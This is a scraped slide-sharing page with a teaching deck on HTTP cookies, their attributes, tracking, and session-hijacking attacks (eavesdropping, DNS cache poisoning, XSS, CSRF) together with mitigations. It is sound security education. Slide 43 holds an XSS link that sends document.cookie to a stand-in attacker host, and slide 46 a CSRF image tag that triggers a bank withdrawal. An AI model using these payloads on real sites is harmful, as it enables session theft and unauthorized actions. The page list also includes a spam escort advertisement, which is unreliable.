Exploiting Second lifeExploiting Second life
Exploiting Second life
 
Dtmf phreaking
Dtmf phreakingDtmf phreaking
Dtmf phreaking
 
Cheating in Computer Games
Cheating in Computer GamesCheating in Computer Games
Cheating in Computer Games
 

Recently uploaded

Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxMaking_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxnull - The Open Security Community
 
Pigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 3652toLead Limited
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationSafe Software
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024Scott Keck-Warren
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Alan Dix
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphSIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphNeo4j
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure servicePooja Nehwal
 
Next-generation AAM aircraft unveiled by Supernal, S-A2
Next-generation AAM aircraft unveiled by Supernal, S-A2Next-generation AAM aircraft unveiled by Supernal, S-A2
Next-generation AAM aircraft unveiled by Supernal, S-A2Hyundai Motor Group
 
How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?XfilesPro
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Patryk Bandurski
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxOnBoard
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountPuma Security, LLC
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptxLBM Solutions
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 

Recently uploaded (20)

Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxMaking_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
 
Pigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping Elbows
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphSIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
 
Next-generation AAM aircraft unveiled by Supernal, S-A2
Next-generation AAM aircraft unveiled by Supernal, S-A2Next-generation AAM aircraft unveiled by Supernal, S-A2
Next-generation AAM aircraft unveiled by Supernal, S-A2
 
How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptx
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptx
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 

Cookies and browser exploits

  • 1. Who is Afraid of Cookies? by Asaf Gery Email: asaf.gery@gmail.com Phone: +972-4-9995014 Mobile: +972-54-2215733
  • 2. Outline ● Introduction ● Innocent Uses of Cookies ● Cookies Mechanism ● Not So Innocent Uses of Cookies ● Malicious Uses of Cookies and Defense Techniques (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 4. What is a Cookie? ● Cookie is data stored by the browser on behalf of a web server ● A browser sends Cookies with every request to the corresponding web server* (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 6. Innocent Uses of Cookies ● Personalization ● Navigation ● Shopping Carts ● Google Analytics ● Facebook Connect ● etc. (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 8. Cookies Under the Hood ● Cookies are set by a web server using an HTTP Header or by a browser using JavaScript ● In order to understand the mechanism, we should have a basic understanding of HTTP – Hyper Text Transfer Protocol (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 9. HTTP ● Hyper Text Transfer Protocol specifies the communication between Browsers and Web Servers ● HTTP is request – response oriented (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 10. HTTP Sequence Web Browser Web Server HTTP Request I HTTP Response I HTTP Request II HTTP Response II (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 11. HTTP Sequence Example ● In the following slides pay attention to the following HTTP Headers: Referer, Set- Cookie and Cookie (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 12. HTTP Request I GET /wiki/Main_Page HTTP/1.1 Host: en.gentoo-wiki.com Referer: http://en.gentoo- wiki.com/wiki/Framebuffer (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 13. HTTP Response I HTTP/1.1 200 OK Server: Apache Last-Modified: Thu, 02 Sep 2010 17:55:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 32533 Date: Mon, 27 Dec 2010 18:34:34 GMT Set-Cookie: show_side_bar=true;Expires=Thu, 22- Mar-2011 18:35:38 GMT (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 14. HTTP Request II GET /img/wiki_g.png HTTP/1.1 Host: en.gentoo-wiki.com Referer: http://en.gentoo- wiki.com/wiki/Main_Page Cookie: show_side_bar=true (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 15. Third Party Cookies ● Cookies are supposed to be used between browsers and web servers - st nd 1 and 2 Parties ● Web pages embed files (videos, flash, rd images, css, scripts) from 3 party sites such as ad. Networks, Google Analytics etc. (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 16. Not So Innocent Uses of Cookies
  • 17. Not So Innocent Uses of Cookies ● Tracking user's web surfing habits ● Creating user profile by analyzing visited websites (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 19. Cookie Attributes ● By setting Cookie attributes a Web Server instructs browsers under which conditions should that Cookie be sent by browsers and how long should it be kept in the browser's cache (memory and hard disk) (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 20. Domain Attribute ● Domain attribute instructs the browser when to send that Cookie (with which URLs) ● Format: Domain=<domain-spec>; where <domain-spec> has the same format of Google's advanced search ● More dots (.) means that the Cookie will be associated with less URLs (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 21. Domain Attribute ● Examples: Set-Cookie: ...;Domain=.gery.co.il;... - this Cookie will be sent with every URL whose host name ends with .gery.co.il Set-Cookie: ... ;Domain=mail.gery.co.il;... - this Cookie will be sent only to URLs whose host name is precisely mail.gery.co.il (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 22. Path Attribute ● Path attribute compliments Domain attribute ● Format: Path=<path-spec> where <path-spec> is Unix style – with forward slashes (/) ● More slashes means that the Cookie will be associated with less URLs (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 23. Path Attribute ● Examples: Set-Cookie: ...;Path=/;... - this Cookie will be sent with every URL that matches the domain spec (if any), meaning – every path Set-Cookie: ... ;Path=/accounts/a/as/;... - this Cookie will be sent only to URLs whose path starts with /accounts/a/as/ (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 24. Expires and Max-Age ● Expires specifies Cookie's expiration time in terms of date and and time (e.g. Expires=Tue, 22-Mar-2011 22:00:00 GMT; ) ● Max-Age specifies Cookie's expiration time in terms of secs. from now (e.g. Max-Age: 3600; - keep the Cookie for one hour) (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 25. Persistent Cookies ● Persistent Cookies are Cookies which have expiration time in the future and therefore are stored in the browser's cache (i.e. on the hard disk) ● Expiration is set using either Expires or Max-Age attribute (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 26. Session Cookies ● Cookie whose expiration date or max age is not specified is called Session Cookie ● Session Cookies are usually stored on the RAM and deleted as soon as the browser is closed ● The problem: HTTP does not define the life time of an HTTP Session, since it was originally designed as a session-less protocol (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 27. Secure and HttpOnly ● Secure and HttpOnly attributes allow better security when using cookies: – Secure specifies a Cookie that will be transferred only via an encrypted channel (HTTPS) – HttpOnly specifies a Cookie that will not be accessible from Javascript code on the browser side (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 28. Malicious Uses of Cookies
  • 29. Session Hijacking ● Web sites use Cookies to identify user sessions ● By stealing those identity session Cookies an attacker can impersonate the victim ● Web servers have no way telling the difference between a real user and an attacker (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 30. Session Hijacking Methods ● Various methods can be used for session hijacking: – NetworkEavesdropping – DNS Cache Poisoning – XSS – CSRF (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 32. Network Eavesdropping ● Traffic on a network can be intercepted and read by computers other than its sender and its receiver (particularly over unencrypted open Wi-Fi network) ● FireSheep is an example of using this technique (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 33. Network Eavesdropping ● Tools such as tcpdump and WireShark can be used to capture traffic on a network ● This attack can be easily mitigated by using HTTPS and Secure Cookies exclusively (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 34. Session Hijacking Using DNS Cache Poisoning
  • 35. DNS Cache Poisoning ● CheckPoint's movie ● DNS Cache Poisoning is a more sophisticated attack that takes advantage of the fact that identity session Cookies are usually set in the domain scope (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 36. DNS Cache Poisoning 1.A server that is controlled by an attacker pretends to be a member of a domain whose Cookies are to be stolen (e.g. bogus.facebook.com) by poisoning the DNS Cache of the victim (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 37. DNS Cache Poisoning 2.A web page created by the attacker which resides on a different server, contains a reference to the bogus server (using an image, css, script, flash, etc) (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 38. DNS Cache Poisoning 3.The victim's browser intercepts that server as a member of the impersonated domain (facebook.com in our example) and therefore sends the session cookies with the HTTP request for the image (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 39. DNS Cache Poisoning 4.Now the attacker has the victim's session cookies and he/she can use them to impersonate the victim and act on behalf of the victim ● Sometimes, the action can be encoded in the URL of the bogus image, in that case the browser's attempt to load the image will trigger the action automatically (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 40. DNS Cache Poisoning ● This attack can be dramatically mitigated by using HTTPS and Secure Cookies exclusively ● HTTPS requires certificate ● Wrong certificate -> browser's warning (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 42. XSS - Cross Site Scripting ● XSS is a code injection attack ● An attacker injects JavaScript code into a website ● The browser cannot tell the difference between an injected code and a genuine code (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 43. XSS - Cross Site Scripting ● Using XSS an attacker can steal the victim's Cookies ● Example: <a href="#" onclick="window.location='http://atck.com /stole.cgi?c='+escape(document.cookie); return false;">Click here!</a> (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 44. Session Hijacking Using Cross Site Request Forgery
  • 45. CSRF - Cross Site Request Forgery ● CSRF exploits the trust that a web site has in a user's browser ● In this attack a malicious web site “manipulates” the browser to execute an action on a victim web site by loading a specially crafted image* (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 46. CSRF - Cross Site Request Forgery ● Example (very simplified): <img src="http://yourbank.com/withdraw? account=david&amount=9000000&for=m oshe"> (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 47. CSRF - Cross Site Request Forgery ● Prevention is not trivial! (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 49. XSS/CSRF – Samy Worm ● On October 4, 2005, Samy Kamkar released a worm on MySpace that used a combination of XSS and CSRF attacks ● The worm displayed "but most of all, Samy is my hero" on victims' profiles ● Within 20 hours, over one million profiles were infected (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 51. HTTP ● RFC 1945 – HTTP 1.0 (May 1996) ● RFC 2068 – HTTP 1.1 (January 1997) ● RFC 2616 – HTTP 1.1 (June 1999, obsoleted RFC 2068) ● All RFCs can be found here - http://www.ietf.org/rfc.html (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 52. Wikipedia ● HTTP Cookie - https://secure.wikimedia.org/wikipedia/en /wiki/HTTP_cookie (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 53. Netscape Cookie Specification ● Netscape's original Cookie specification (June, 1994) - http://curl.haxx.se/rfc/cookie_spec.html (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 54. Cookies RFCs ● RFC 2109 – HTTP State Management Mechanism (February 1997) ● RFC 2965 – HTTP State Management Mechanism (October 2000, obsoleted RFC 2109) ● All RFCs can be found here - http://www.ietf.org/rfc.html (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)
  • 55. Samy Worm ● Samy's own story - http://namb.la/popular/ ● Technical details and the source code - http://namb.la/popular/tech.html (c) All rights reserved to Asaf Gery (asaf.gery@gmail.com)